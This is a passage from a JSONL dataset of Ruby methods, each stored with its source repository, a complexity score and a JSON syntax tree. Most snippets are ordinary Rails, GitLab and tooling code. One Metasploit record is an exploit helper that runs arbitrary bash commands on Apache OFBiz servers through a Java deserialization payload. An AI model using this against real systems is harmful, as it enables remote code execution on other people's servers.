":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_active_storage_variant_records_uniqueness\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"foreign_key\",{\"type\":\"sym\",\"children\":[\"active_storage_blobs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"blob_id\"]}]}]}]}]}]}]}]}","id":"644bac53-c20b-482d-8c36-fc978ac5b0ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":461,"raw_source":"def testable?\n      group_level? || project_level?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"testable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_level?\"]},{\"type\":\"send\",\"children\":[null,\"project_level?\"]}]}]}","id":"0d6bcef7-4884-42dd-b984-5bfa72c20bf3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":611,"raw_source":"def test_model_class_should_respond_to_one\n    assert_not_predicate Topic, :one?\n    Topic.delete_all\n    assert_not_predicate Topic, :one?\n    Topic.create!\n    assert_predicate Topic, :one?\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_model_class_should_respond_to_one\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"Topic\"]},{\"type\":\"sym\",\"children\":[\"one?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"delete_all\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"Topic\"]},{\"type\":\"sym\",\"children\":[\"one?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create!\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"Topic\"]},{\"type\":\"sym\",\"children\":[\"one?\"]}]}]}]}","id":"13cfebb9-fe57-4678-b759-d167ec2715e6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/temporary_redis.rb","start_line":105,"raw_source":"def port_available?(port)\n    TCPServer.open(port).close\n    true\n  rescue Errno::EADDRINUSE\n    false\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"port_available?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TCPServer\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},\"close\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EADDRINUSE\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"fb20e93d-8a18-4f89-a871-2f8059152edd"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_analytics.rb","start_line":30,"raw_source":"def app_units\n        start_t, end_t = time_last_7_days\n\n        app_units_interval(start_t, end_t)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"app_units\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_t\"]},{\"type\":\"lvasgn\",\"children\":[\"end_t\"]}]},{\"type\":\"send\",\"children\":[null,\"time_last_7_days\"]}]},{\"type\":\"send\",\"children\":[null,\"app_units_interval\",{\"type\":\"lvar\",\"children\":[\"start_t\"]},{\"type\":\"lvar\",\"children\":[\"end_t\"]}]}]}]}","id":"5a345d1e-0fdb-4633-9aba-6c942bdd011d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_ofbiz_deserialization_soap.rb","start_line":120,"raw_source":"def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    res = send_request_soap(\n      # framework/webapp/lib/rome-0.9.jar\n      generate_java_deserialization_for_command('ROME', 'bash', cmd)\n    )\n\n    unless res && res.code == 200\n      fail_with(Failure::UnexpectedReply, \"Failed to execute command: #{cmd}\")\n    end\n\n    print_good(\"Successfully executed command: #{cmd}\")\n  end","complexity_score":12.03,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_soap\",{\"type\":\"send\",\"children\":[null,\"generate_java_deserialization_for_command\",{\"type\":\"str\",\"children\":[\"ROME\"]},{\"type\":\"str\",\"children\":[\"bash\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to execute command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully executed command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}","id":"acceebca-d158-4591-8461-02317527c052"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/method_call_with_args_parentheses/omit_parentheses.rb","start_line":85,"raw_source":"def allowed_string_interpolation_method_call?(node)\n            cop_config['AllowParenthesesInStringInterpolation'] &&\n              inside_string_interpolation?(node)\n          end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_string_interpolation_method_call?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowParenthesesInStringInterpolation\"]}]},{\"type\":\"send\",\"children\":[null,\"inside_string_interpolation?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"eba1f208-156c-43dd-a9d1-6651facd86c8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory.rb","start_line":56,"raw_source":"def self.collector_class_for(ems, target = nil, manager_name = nil)\n      target = ems if target.nil?\n      class_for(ems, target, 'Collector', manager_name)\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"collector_class_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]},{\"type\":\"optarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"manager_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"class_for\",{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"Collector\"]},{\"type\":\"lvar\",\"children\":[\"manager_name\"]}]}]}]}","id":"97d6889a-22cc-4e26-983c-5706424c05ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/issue_type.rb","start_line":213,"raw_source":"def escalation_status\n      object.supports_escalation? ? object.escalation_status&.status_name : nil\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"escalation_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"supports_escalation?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"escalation_status\"]},\"status_name\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8a4d73fa-a7b6-49bd-962b-2fc929cf36ad"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":527,"raw_source":"def down\n      drop_table(\"cats\")\n      drop_table(\"cat_owners\")\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"cats\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"cat_owners\"]}]}]}]}","id":"f0ddc49c-78f8-4b8e-8a73-ab247e371caa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/any_instance_of.rb","start_line":49,"raw_source":"def on_send(node)\n          if expect_any_instance_of?(node)\n            add_offense(node, message: MESSAGE_EXPECT) do |corrector|\n              corrector.replace(\n                node,\n                replacement_any_instance_of(node, 'expect')\n              )\n            end\n          elsif allow_any_instance_of?(node)\n            add_offense(node, message: MESSAGE_ALLOW) do |corrector|\n              corrector.replace(\n                node,\n                replacement_any_instance_of(node, 'allow')\n              )\n            end\n          end\n        end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect_any_instance_of?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MESSAGE_EXPECT\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"replacement_any_instance_of\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"str\",\"children\":[\"expect\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MESSAGE_ALLOW\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"replacement_any_instance_of\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"str\",\"children\":[\"allow\"]}]}]}]},null]}]}]}","id":"70eed456-bfc0-4322-acce-502361d6135c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb","start_line":86,"raw_source":"def rfxmit(idx, data, opt={})\n    data = Base64.urlsafe_encode64(data)\n    request = \"/rftransceiver/#{idx}/rfxmit?data=#{data}\"\n    request << \"&repeat=#{opt['repeat']}\" if opt.has_key? 'repeat'\n    request << \"&offset=#{opt['offset']}\" if opt.has_key? 'offset'\n    client.send_request(request)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rfxmit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_encode64\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/rftransceiver/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"str\",\"children\":[\"/rfxmit?data=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"repeat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&repeat=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"repeat\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&offset=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"offset\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"b47cb678-582d-4745-8f2e-add8d2cf9769"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":495,"raw_source":"def geo_environment?\n        QA::Runtime::Scenario.attributes.include?(:geo_secondary_address)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"geo_environment?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Scenario\"]},\"attributes\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"geo_secondary_address\"]}]}]}","id":"dd3b6eb3-5e71-43f4-ba8b-de236db288e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/keytab/krb5_keytab.rb","start_line":49,"raw_source":"def get\n      Time.at(epoch)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"epoch\"]}]}]}","id":"8bcbd611-24f4-47d8-95ac-52c0160296fd"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":26,"raw_source":"def test_if_tag_calls_to_liquid_value\n    assert_template_result('one', '{% if foo == 1 %}one{% endif %}', { 'foo' => IntegerDrop.new('1') })\n    assert_template_result('one', '{% if foo == eqv %}one{% endif %}', { 'foo' => IntegerDrop.new(1), 'eqv' => IntegerDrop.new(1) })\n    assert_template_result('one', '{% if 0 < foo %}one{% endif %}', { 'foo' => IntegerDrop.new('1') })\n    assert_template_result('one', '{% if foo > 0 %}one{% endif %}', { 'foo' => IntegerDrop.new('1') })\n    assert_template_result('one', '{% if b > a %}one{% endif %}', { 'b' => IntegerDrop.new(1), 'a' => IntegerDrop.new(0) })\n    assert_template_result('true', '{% if foo == true %}true{% endif %}', { 'foo' => BooleanDrop.new(true) })\n    assert_template_result('true', '{% if foo %}true{% endif %}', { 'foo' => BooleanDrop.new(true) })\n\n    assert_template_result('', '{% if foo %}true{% endif %}', { 'foo' => BooleanDrop.new(false) })\n    assert_template_result('', '{% if foo == true %}True{% endif %}', { 'foo' => BooleanDrop.new(false) })\n    assert_template_result('', '{% if foo and true %}SHOULD NOT HAPPEN{% endif %}', { 'foo' => BooleanDrop.new(false) })\n\n    assert_template_result('one', '{% if a contains x %}one{% endif %}', { 'a' => [1], 'x' => IntegerDrop.new(1) })\n  end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_if_tag_calls_to_liquid_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"{% if foo == 1 %}one{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"{% if foo == eqv %}one{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"eqv\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"{% if 0 < foo %}one{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"{% if foo > 0 %}one{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"{% if b > a %}one{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"str\",\"children\":[\"{% if foo == true %}true{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BooleanDrop\"]},\"new\",{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"str\",\"children\":[\"{% if foo %}true{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BooleanDrop\"]},\"new\",{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"{% if foo %}true{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BooleanDrop\"]},\"new\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"{% if foo == true %}True{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BooleanDrop\"]},\"new\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"{% if foo and true %}SHOULD NOT HAPPEN{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BooleanDrop\"]},\"new\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"{% if a contains x %}one{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntegerDrop\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"c803a62a-d95d-4d4f-87f8-ac885d5b0f2f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb","start_line":222,"raw_source":"def parse_jwt(token)\n    parsed_token = Msf::Exploit::Remote::HTTP::JWT.decode(token)\n    parsed_token.payload\n  rescue ArgumentError\n    nil\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_jwt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"JWT\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_token\"]},\"payload\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"202b7e6e-fc16-41ee-93b6-88941ff6fb48"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/callbacks_test.rb","start_line":218,"raw_source":"def test_create\n    david = CallbackDeveloper.create(\"name\" => \"David\", \"salary\" => 1000000)\n    assert_equal [\n      [ :after_initialize,            :method ],\n      [ :after_initialize,            :proc   ],\n      [ :after_initialize,            :object ],\n      [ :after_initialize,            :block  ],\n      [ :before_validation,           :method ],\n      [ :before_validation,           :proc   ],\n      [ :before_validation,           :object ],\n      [ :before_validation,           :block  ],\n      [ :after_validation,            :method ],\n      [ :after_validation,            :proc   ],\n      [ :after_validation,            :object ],\n      [ :after_validation,            :block  ],\n      [ :before_save,                 :method ],\n      [ :before_save,                 :proc   ],\n      [ :before_save,                 :object ],\n      [ :before_save,                 :block  ],\n      [ :before_create,               :method ],\n      [ :before_create,               :proc   ],\n      [ :before_create,               :object ],\n      [ :before_create,               :block  ],\n      [ :after_create,                :method ],\n      [ :after_create,                :proc   ],\n      [ :after_create,                :object ],\n      [ :after_create,                :block  ],\n      [ :after_save,                  :method ],\n      [ :after_save,                  :proc   ],\n      [ :after_save,                  :object ],\n      [ :after_save,                  :block  ],\n      [ :after_commit,                :block  ],\n      [ :after_commit,                :object ],\n      [ :after_commit,                :proc   ],\n      [ :after_commit,                :method ]\n    ], david.history\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CallbackDeveloper\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"salary\"]},{\"type\":\"int\",\"children\":[1000000]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_validation\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_validation\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_validation\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_validation\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_validation\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_validation\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_validation\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_validation\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"b